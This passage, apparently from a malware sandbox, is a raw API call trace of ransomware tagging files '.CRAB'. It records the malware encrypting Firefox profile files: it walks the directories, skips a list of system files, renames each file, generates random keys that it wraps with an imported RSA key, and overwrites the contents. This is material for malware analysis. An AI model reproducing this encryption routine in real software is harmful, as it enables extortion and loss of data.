	[0121.082] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\state.json", dwFileAttributes=0x20) returned 1
	[0121.083] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\state.json" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\datareporting\\state.json"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\state.json.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\datareporting\\state.json.crab")) returned 1
	[0121.084] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0121.084] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\state.json.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\state.json.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\state.json.CRAB"
	[0121.084] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\state.json.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\state.json.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\state.json.CRAB.CRAB"
	[0121.084] CryptAcquireContextW (in: phProv=0x31492e8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x31492e8*=0xd6e408) returned 1
	[0121.085] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0121.085] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0121.086] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0121.086] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x3149424 | out: pbBuffer=0x3149424) returned 1
	[0121.086] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0121.086] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.086] CryptAcquireContextW (in: phProv=0x31492e8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x31492e8*=0xd6e5a0) returned 1
	[0121.086] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0121.087] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0121.087] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0121.087] CryptGenRandom (in: hProv=0xd6e5a0, dwLen=0x20, pbBuffer=0x3149400 | out: pbBuffer=0x3149400) returned 1
	[0121.087] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0121.087] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.087] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0121.087] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0121.088] CryptAcquireContextW (in: phProv=0x31492d8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x31492d8*=0xd6e408) returned 1
	[0121.088] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x31492d4 | out: phKey=0x31492d4*=0x3165c18) returned 1
	[0121.088] CryptGetKeyParam (in: hKey=0x3165c18, dwParam=0x8, pbData=0x31492c4, pdwDataLen=0x31492cc, dwFlags=0x0 | out: pbData=0x31492c4*=0x800, pdwDataLen=0x31492cc*=0x4) returned 1
	[0121.088] CryptEncrypt (in: hKey=0x3165c18, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3149434*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3149434*=0x100) returned 1
	[0121.089] GetLastError () returned 0x0
	[0121.089] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0121.089] CryptAcquireContextW (in: phProv=0x31492d8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x31492d8*=0xd6e738) returned 1
	[0121.089] CryptImportKey (in: hProv=0xd6e738, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x31492d4 | out: phKey=0x31492d4*=0x3165b58) returned 1
	[0121.089] CryptGetKeyParam (in: hKey=0x3165b58, dwParam=0x8, pbData=0x31492c4, pdwDataLen=0x31492cc, dwFlags=0x0 | out: pbData=0x31492c4*=0x800, pdwDataLen=0x31492cc*=0x4) returned 1
	[0121.089] CryptEncrypt (in: hKey=0x3165b58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3149438*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3149438*=0x100) returned 1
	[0121.090] GetLastError () returned 0x0
	[0121.090] CryptReleaseContext (hProv=0xd6e738, dwFlags=0x0) returned 1
	[0121.090] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\state.json.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\datareporting\\state.json.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d8
	[0121.090] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0121.090] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0121.091] ReadFile (in: hFile=0x3d8, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314947c, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314947c*=0x33, lpOverlapped=0x0) returned 1
	[0121.103] VirtualAlloc (lpAddress=0x0, dwSize=0x40, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0121.103] VirtualAlloc (lpAddress=0x0, dwSize=0x40, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0121.103] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.104] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0xffffffcd, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.104] WriteFile (in: hFile=0x3d8, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x314946c, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x314946c*=0x40, lpOverlapped=0x0) returned 1
	[0121.104] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.104] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.108] WriteFile (in: hFile=0x3d8, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314946c, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x314946c*=0x100, lpOverlapped=0x0) returned 1
	[0121.108] WriteFile (in: hFile=0x3d8, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314946c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314946c*=0x100, lpOverlapped=0x0) returned 1
	[0121.108] WriteFile (in: hFile=0x3d8, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314946c, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x314946c*=0x8, lpOverlapped=0x0) returned 1
	[0121.108] CloseHandle (hObject=0x3d8) returned 1
	[0121.109] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.110] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.110] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.110] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.110] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.111] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.111] FindNextFileW (in: hFindFile=0x3165918, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 0
	[0121.111] FindClose (in: hFindFile=0x3165918 | out: hFindFile=0x3165918) returned 1
	[0121.111] FindNextFileW (in: hFindFile=0xded3e8, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0121.111] lstrcmpW (lpString1="extensions.ini", lpString2=".") returned 1
	[0121.111] lstrcmpW (lpString1="extensions.ini", lpString2="..") returned 1
	[0121.111] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="extensions.ini" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\extensions.ini") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\extensions.ini"
	[0121.111] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0121.111] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\extensions.ini") returned 94
	[0121.111] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\extensions.ini") returned 94
	[0121.112] lstrlenW (lpString=".ini") returned 4
	[0121.112] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0121.112] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".ini ") returned 5
	[0121.112] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.112] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\extensions.ini") returned 94
	[0121.112] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\extensions.ini") returned 94
	[0121.112] lstrcmpiW (lpString1="extensions.ini", lpString2="desktop.ini") returned 1
	[0121.112] lstrcmpiW (lpString1="extensions.ini", lpString2="autorun.inf") returned 1
	[0121.112] lstrcmpiW (lpString1="extensions.ini", lpString2="ntuser.dat") returned -1
	[0121.112] lstrcmpiW (lpString1="extensions.ini", lpString2="iconcache.db") returned -1
	[0121.112] lstrcmpiW (lpString1="extensions.ini", lpString2="bootsect.bak") returned 1
	[0121.112] lstrcmpiW (lpString1="extensions.ini", lpString2="boot.ini") returned 1
	[0121.112] lstrcmpiW (lpString1="extensions.ini", lpString2="ntuser.dat.log") returned -1
	[0121.112] lstrcmpiW (lpString1="extensions.ini", lpString2="thumbs.db") returned -1
	[0121.112] lstrcmpiW (lpString1="extensions.ini", lpString2="CRAB-DECRYPT.txt") returned 1
	[0121.112] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0121.113] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\extensions.ini.CRAB") returned 99
	[0121.113] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\extensions.ini" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\extensions.ini")) returned 0x20
	[0121.113] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\extensions.ini", dwFileAttributes=0x20) returned 1
	[0121.113] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\extensions.ini" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\extensions.ini"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\extensions.ini.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\extensions.ini.crab")) returned 1
	[0121.114] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0121.115] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\extensions.ini.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\extensions.ini.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\extensions.ini.CRAB"
	[0121.115] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\extensions.ini.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\extensions.ini.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\extensions.ini.CRAB.CRAB"
	[0121.115] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6e408) returned 1
	[0121.115] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0121.116] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0121.116] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0121.116] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x3149ecc | out: pbBuffer=0x3149ecc) returned 1
	[0121.116] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0121.116] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.116] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6e9e0) returned 1
	[0121.117] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0121.117] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0121.117] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0121.117] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x20, pbBuffer=0x3149ea8 | out: pbBuffer=0x3149ea8) returned 1
	[0121.117] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0121.118] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.118] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0121.118] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0121.118] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6eb78) returned 1
	[0121.119] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0x3165b98) returned 1
	[0121.119] CryptGetKeyParam (in: hKey=0x3165b98, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0121.119] CryptEncrypt (in: hKey=0x3165b98, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3149edc*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3149edc*=0x100) returned 1
	[0121.119] GetLastError () returned 0x0
	[0121.119] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0121.119] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6e9e0) returned 1
	[0121.120] CryptImportKey (in: hProv=0xd6e9e0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0x3165918) returned 1
	[0121.120] CryptGetKeyParam (in: hKey=0x3165918, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0121.120] CryptEncrypt (in: hKey=0x3165918, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3149ee0*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3149ee0*=0x100) returned 1
	[0121.120] GetLastError () returned 0x0
	[0121.120] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0121.120] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\extensions.ini.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\extensions.ini.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e0
	[0121.121] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0121.121] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0121.121] ReadFile (in: hFile=0x3e0, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3149f24, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x3149f24*=0xb9, lpOverlapped=0x0) returned 1
	[0121.134] VirtualAlloc (lpAddress=0x0, dwSize=0xc0, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0121.134] VirtualAlloc (lpAddress=0x0, dwSize=0xc0, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0121.135] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.135] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xffffff47, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.135] WriteFile (in: hFile=0x3e0, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x3149f14*=0xc0, lpOverlapped=0x0) returned 1
	[0121.135] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.135] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.139] WriteFile (in: hFile=0x3e0, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0121.139] WriteFile (in: hFile=0x3e0, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0121.140] WriteFile (in: hFile=0x3e0, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3149f14*=0x8, lpOverlapped=0x0) returned 1
	[0121.141] CloseHandle (hObject=0x3e0) returned 1
	[0121.141] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.142] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.142] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.142] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.142] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.143] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.143] FindNextFileW (in: hFindFile=0xded3e8, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0121.143] lstrcmpW (lpString1="extensions.json", lpString2=".") returned 1
	[0121.143] lstrcmpW (lpString1="extensions.json", lpString2="..") returned 1
	[0121.143] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="extensions.json" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\extensions.json") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\extensions.json"
	[0121.143] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0121.143] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\extensions.json") returned 95
	[0121.143] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\extensions.json") returned 95
	[0121.143] lstrlenW (lpString=".json") returned 5
	[0121.143] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0121.144] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".json ") returned 6
	[0121.144] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.144] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\extensions.json") returned 95
	[0121.144] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\extensions.json") returned 95
	[0121.144] lstrcmpiW (lpString1="extensions.json", lpString2="desktop.ini") returned 1
	[0121.144] lstrcmpiW (lpString1="extensions.json", lpString2="autorun.inf") returned 1
	[0121.144] lstrcmpiW (lpString1="extensions.json", lpString2="ntuser.dat") returned -1
	[0121.144] lstrcmpiW (lpString1="extensions.json", lpString2="iconcache.db") returned -1
	[0121.144] lstrcmpiW (lpString1="extensions.json", lpString2="bootsect.bak") returned 1
	[0121.144] lstrcmpiW (lpString1="extensions.json", lpString2="boot.ini") returned 1
	[0121.144] lstrcmpiW (lpString1="extensions.json", lpString2="ntuser.dat.log") returned -1
	[0121.144] lstrcmpiW (lpString1="extensions.json", lpString2="thumbs.db") returned -1
	[0121.144] lstrcmpiW (lpString1="extensions.json", lpString2="CRAB-DECRYPT.txt") returned 1
	[0121.144] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0121.144] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\extensions.json.CRAB") returned 100
	[0121.144] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\extensions.json" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\extensions.json")) returned 0x20
	[0121.147] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\extensions.json", dwFileAttributes=0x20) returned 1
	[0121.147] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\extensions.json" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\extensions.json"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\extensions.json.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\extensions.json.crab")) returned 1
	[0121.148] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0121.149] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\extensions.json.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\extensions.json.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\extensions.json.CRAB"
	[0121.149] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\extensions.json.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\extensions.json.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\extensions.json.CRAB.CRAB"
	[0121.149] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6ed98) returned 1
	[0121.149] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0121.150] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
